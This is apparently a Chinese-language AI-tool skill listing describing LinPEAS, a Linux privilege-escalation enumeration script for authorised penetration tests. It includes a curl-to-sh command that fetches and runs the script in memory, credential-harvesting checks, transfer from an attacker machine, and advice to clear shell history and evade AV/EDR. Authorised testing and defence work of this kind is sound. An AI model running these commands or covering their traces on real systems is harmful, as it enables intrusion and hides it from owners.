SuperAPI AI 工具集

privesc-linpeas

通用与其它

查看项目

更新于 10-15 16:43

技能介绍

用途:在获得明确书面授权的渗透测试或红队评估中,对 Linux 目标进行后渗透提权枚举与攻击面分析。LinPEAS(Linux Privilege Escalation Awesome Script)会检查 200+ 提权向量,按严重程度着色,并映射到 GTFOBins 与 MITRE ATT&CK。未经授权使用属于计算机欺诈,须在约定范围内操作。

主要能力:覆盖 sudo 配置错误、SUID/SGID 二进制、可写 /etc/passwd 或 /etc/shadow、内核漏洞、凭据搜集(bash 历史、配置文件、SSH 密钥)、容器与环境逃逸检测等。输出按颜色分级:RED+ 约 95% 提权概率,RED 为高置信向量,YELLOW 需人工复核,GREEN 为低风险信息。

使用方式:可直接内存运行 curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh;或下载后执行 /tmp/linpeas.sh -a 2>&1 | tee /tmp/linpeas_output.txt。快速扫描用 -s。脚本变体有 linpeas.sh(默认,含 exploit suggester)、linpeas_fat.sh(内嵌第三方工具,目标无需联网)、linpeas_small.sh(仅必要检查)。scripts/linpeas_runner.py 可生成结构化 JSON 输出并自动分级。也可做定向扫描,如 sudo -l、find / -perm -u=s -type f 2>/dev/null、getcap -r /、crontab -l、ss -tulpn 等。

适用场景:Metasploit 初始 shell 之后、Nmap 侦察确认 Linux 目标之后,或 CI/CD 紫队流水线中验证提权缓解措施,并将 JSON 输出用于 CVSS 评分与风险文档。

限制与注意事项:输出含凭据、哈希和密钥,属高度敏感,需加密存储并在结束后删除;应记录所有命令与时间戳,部分蓝队会监控 LinPEAS 特征;红队场景可考虑从 /dev/shm 运行以减少磁盘痕迹,结束后清理二进制与输出并清除相关 shell 历史。AV/EDR 可能拦截,可改用 Python/PSPY 替代或自编译版本;受限 shell 需先逃逸;目标无网络时可通过攻击机 python3 -m http.server 8080 传输。活动须符合交战规则、SOW 及适用法律(CFAA、Computer Misuse Act 等)。